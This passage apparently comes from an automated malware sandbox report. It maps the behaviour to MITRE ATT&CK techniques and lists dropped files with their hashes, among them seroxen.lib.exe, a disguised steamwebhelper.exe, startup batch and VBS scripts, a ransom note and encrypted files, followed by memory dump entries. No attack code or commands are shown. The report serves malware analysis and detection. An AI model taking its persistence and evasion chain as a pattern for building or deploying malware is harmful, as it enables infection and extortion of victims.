C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 247d0658695a1eb44924a32363906e37e9864ba742fe35362a71f3a520ad2654
MD5 439b5e04ca18c7fb02cf406e6eb24167
SHA1 e0c5bb6216903934726e3570b7d63295b9d28987
SHA512 d0241e397060eebd4535197de4f1ae925aa88ae413a3a9ded6e856b356c4324dfd45dddfef9a536f04e4a258e8fe5dc1586d92d1d56b649f75ded8eddeb1f3e2
MD5 SHA1 SHA512

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 152B
SHA256 c8077a9fc79e2691ef321d556c4ce9933ca0570f2bbaa32fa32999dfd5f908bb
MD5 a8e767fd33edd97d306efb6905f93252
SHA1 a6f80ace2b57599f64b0ae3c7381f34e9456f9d3
SHA512 07b748582fe222795bce74919aa06e9a09025c14493edb6f3b1f112d9a97ac2225fe0904cac9adf2a62c98c42f7877076e409803014f0afd395f4cc8be207241
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 5KB
SHA256 4b060af277ba04ceb630615a9656ef81f32c10dce6c923e248088b42eea2c1b9
MD5 849978e4c0325ec6e7d4c6a0a895f6df
SHA1 b1adb09a56dc68f61f5c944ee0b573eca47367a7
SHA512 369aed9fb47a3a3e6915183100a8557f61fc5bd21c0629bea37bba4b856eec99276b0cadeefb4735d1845d5240f49c69e75e0b204455c09fd603d5fa71865b27
SSDEEP 96:nIkiS1t1wpvWMoiVmdeHBrzNUWQyV+VDCziEwb:nIklz1GWMXjro
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 9fbba29cd86ec418c4cc98e4576300f4d679f534f33fd078de56b9ff5243eefc
MD5 62ad9f96a2e85ba032774f000afcbcd5
SHA1 d19bdb0fce7d127579f64f164908fb93eaf7c200
SHA512 45404b716077f7b75b4b2e4f5b8852b5e96a94de1ce850aab703a1bbaae0a32c4567dee5db9b397754f18d26659caf76c1a7776ce9de460aac8a10b9ef22c94d
SSDEEP 96:nIkDS1t1wpvWMoiVmdeHBrzNUWQyV+VD7AiEwb:nIkmz1GWMXjrg
MD5 SHA1 SHA512 SSDEEP

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 6KB
SHA256 e86aeb7880f2f9c6704ab458b94389f7621f97abaf5ae75501604b7100723e5e
MD5 5542cf28963c74a53ed2551e0f4c525c
SHA1 b710e5ecf0da306c1916c6a5a2923c2f84c76350
SHA512 00c08963546f2aad6419c690fe48978a60d7bf314b8bdd250c5c664aaf36d82b286a698232fb599f4de7382a6ac9f1dafce119cae44b7bc86e165f05ec4f9620
SSDEEP 96:nIkwS1t1wpvWMoiVmdeHBrzCUWQyV+VD7AiEwb:nIkDz1GWMX0rg
MD5 SHA1 SHA512 SSDEEP

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
Size 16B
SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
MD5 6752a1d65b201c13b62ea44016eb221f
SHA1 58ecf154d01a62233ed7fb494ace3c3d4ffce08b
SHA512 9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 96b4a11889ad0816b8e196cdfeb1e19a8df5846b9fb3286fab8df5cc938539ce
MD5 50f0c807fcdf3619137ba4a584edf548
SHA1 87e8fbd7d5d2aeb9572ddcc01c4a38373b0e95f5
SHA512 29bf643d94c3504bfa59ed5398e6c870e7e0ded23e359090d5cf22c51a74bda7cffb91cb23d1ce9052505e8e80a5900b337c7faeb74d30c2a8bb0ae20584a95f
SSDEEP 192:f/oCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupPHQe2RU6Mj283z2OMDCRz:fn9iIxuERzA83h09RZxYPHOky8aOMWRz
MD5 SHA1 SHA512 SSDEEP

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 11KB
SHA256 8421c3e986569aee19a0a9acb262b02a2d5d4da316529a8088f7285eadb4a4c8
MD5 e313496412fefbd487e8da7d93f5be78
SHA1 65ceb6947748440103f4345584a85765b095ac9e
SHA512 bcc7fac9b4e5a4402bd55ca4f6a2e53422c830d3134095c19158a802ac4cc79645286eeb2f54c9b94bceb07a2c1b5f15149c5d4a41808ad4358a7b29638bcd17
SSDEEP 192:ioCL/Pgu90RZj8Sr6FA4ZiIxuERzA83h09RZxAexupPHQe2RU6Mj2n3z2OMDCRHT:29iIxuERzA83h09RZxYPHOkynaOMWRHT
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 c213a4024e89a0240d0b1fa3b18ea3db3db7bbe7ca1bdeed86dce9c2c4991ef8
MD5 d0a40a2d16d62c60994d5bb5624a589b
SHA1 30f0a77f10518a09d83e6185d6c4cde23e4de8af
SHA512 cecef5087f194a83948880e36445324406218f6877386d6db7850b8f97ac107e042ea9445bb7e73c6e6a2c7da9782b7dae8caba0a1c997677d096b3271a4cac0
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 65280b191b81b71435edfaea9625a1db4600b1c49140aae5def659cc73b20d80
MD5 d771de020a08527e71e3f36b2e8cd62a
SHA1 3023a9387de2502170d66773d4eb7f23fb155633
SHA512 1d585a15797f5d6fe0a715431ae9733e3d382d75e5c372f9d212f0e2955ca6f0e27dc70093c51890982db1d3f2a19fa2f7089c2eade77b08403eb83966b920a3
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 796649641966f606d7217bb94c5c0a6194eef518815dacc86feacdd78d3c1113
MD5 c1b0a9f26c3e1786191e94e419f1fbf9
SHA1 7f3492f4ec2d93e164f43fe2606b53edcffd8926
SHA512 fa0290d77372c26a2f14cb9b0002c222bc757ce7ad02516b884c59a1108f42eb4c76884f9edb6c7149f7c3fac917eda99b72a3b1d72b7e118a1d5a73cadd15a8
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_pfi1atfd.yca.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pfi1atfd.yca.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

seroxen.lib.exe

Path C:\Users\Admin\AppData\Local\Temp\seroxen.lib.exe
Size 10KB
SHA256 30db07f044a1f35c28ddbd111b1bf457db53555e464b2d60704c9e8023801c95
MD5 57a21007e4a8f423332f8e19b24081cd
SHA1 affc966362ddba697047e31e46b57c5da07a8135
SHA512 e66dd63bb78e36f2c6d4dab62d0dd653d74eda19bcd834f358386dcef1cd60413fc4943be5766b547986ab4f28ea9b18e9e829008cdd00aa51afd5b4d6ac533b
SSDEEP 96:uqnxyLSQHwem1n+rDFNRsjqIxbMsHaHKRHP+qDke6VXAucOzNt:uqnxyWQa1n0D7+j1osKqWqwxVXAxI
MD5 SHA1 SHA512 SSDEEP

Submit Download

steamwebhelper.exe

Path C:\Users\Admin\AppData\Local\Temp\steamwebhelper.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_164.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_164.bat
Size 91KB
SHA256 91813779ab003d08ee337226c9ba845aaca64098e9740e6aaf30a0c8fa833ee0
MD5 520c1190bbbe3a7359a6e72f76618245
SHA1 50d5e441a97aad127e8d5ad8c28c848b3be02c5d
SHA512 98ebc8ee9b1b1d7302a5771f1e6b174903a9c249459a98e57e8cd48ce8760997b414246c7c9f05d1ce08fa299dcc2496c389b4126af647e8f2a6e9f81d15f749
SSDEEP 1536:HtkPhsAgh2YhIXwWIN0hdI7E5WQTpJlqb3mE81vT1dkYHcga3kplWaEDN4nVoLuR:NeCAgX+vIuEE5PlJAb3mE81L1dkhX3mV
MD5 SHA1 SHA512 SSDEEP

Submit Download

startup_str_164.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_164.vbs
Size 115B
SHA256 1d9e9b82693d1be7c72ccaace065b82ed70debd5ca63624bec87f61480822334
MD5 d205a237870aa23dc12fc98f1f45d49a
SHA1 292da3b980b6505376cba759b2253c8f1cefc7c6
SHA512 7e613b45174f6d5ff7f7332b39d3a95c1874aecd8bfe603625c5852c8ac4d992330f2f38cfc03e01250226c647f841ba66529e57aa9d52a2882f4311c8ff8b80
MD5 SHA1 SHA512

Submit Download

How To Decrypt My Files.html

Path C:\Users\Admin\Desktop\How To Decrypt My Files.html
Size 632B
SHA256 db3ff1d4c3855db878d1217051ec64d096c38d4b067587345e5b06f6c0c9f5f7
MD5 5b8c1f3e4a0e50e44dca4d16c3a09b8c
SHA1 ddd88605d5f3ad24ca878fb27b011fabebff741b
SHA512 9eb4b1bf8481e8f4b1c31b5f161de563806d29ca05285a35b5d2cb7cf555d516bf23b060ecaa9ecd1dc7653f2ab5164ed1e6e8e8fef5d29d7189a2233736f1bf
MD5 SHA1 SHA512

Submit Download

NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms.ENC

Path C:\Users\Admin\NTUSER.DAT{53b39e88-18c4-11ea-a811-000d3aa4692b}.TMContainer00000000000000000001.regtrans-ms.ENC
Size 16B
SHA256 393b36795513f3ab9625b4dcd988cb2b77a0d8e72378c9c632c632c8eaacd9d8
MD5 06469a74c28d1b5f39999a3a54eb356a
SHA1 b2d5f211b3a4eb53f06e432b5aad81caf90930b3
SHA512 071c2d5461ceb9f80d4cf375410ad156a21fcdb8433a445ba020ee2102887c99d1823645d7aef270c4f619f1588a405f6c12bd822e854817a686b5f3c44e33ee
MD5 SHA1 SHA512

Submit Download

memory/1156-129-0x0000015969E60000-0x0000015969E6C000-memory.dmp

Download

memory/1156-51-0x00000159699F0000-0x0000015969A06000-memory.dmp

Download

memory/1156-369-0x00000159699D0000-0x00000159699DA000-memory.dmp

Download

memory/1156-387-0x0000015969C00000-0x0000015969C0A000-memory.dmp

Download

memory/1156-131-0x000001594F550000-0x000001594F55C000-memory.dmp

Download

memory/1156-388-0x000001596A3E0000-0x000001596A3EA000-memory.dmp

Download

memory/2240-0-0x00007FFEC3173000-0x00007FFEC3175000-memory.dmp

Download

memory/2240-1-0x00007FFEC3170000-0x00007FFEC3C31000-memory.dmp

Download

memory/2240-38-0x00007FFEC3170000-0x00007FFEC3C31000-memory.dmp

Download

memory/2240-13-0x000002361A710000-0x000002361A726000-memory.dmp

Download

memory/2240-12-0x000002361A6E0000-0x000002361A6E8000-memory.dmp

Download

memory/2240-7-0x000002367E040000-0x000002367E062000-memory.dmp

Download

memory/4392-128-0x00000223F8410000-0x00000223F8486000-memory.dmp

Download

memory/4392-127-0x00000223F7F80000-0x00000223F7FC4000-memory.dmp

Download

memory/4808-15-0x00007FFEC3170000-0x00007FFEC3C31000-memory.dmp

Download

memory/4808-29-0x00007FFEC3170000-0x00007FFEC3C31000-memory.dmp

Download

memory/4808-25-0x00007FFEC3170000-0x00007FFEC3C31000-memory.dmp

Download

memory/4808-26-0x00007FFEC3170000-0x00007FFEC3C31000-memory.dmp

Download

memory/5064-62-0x0000000000410000-0x0000000000418000-memory.dmp

Download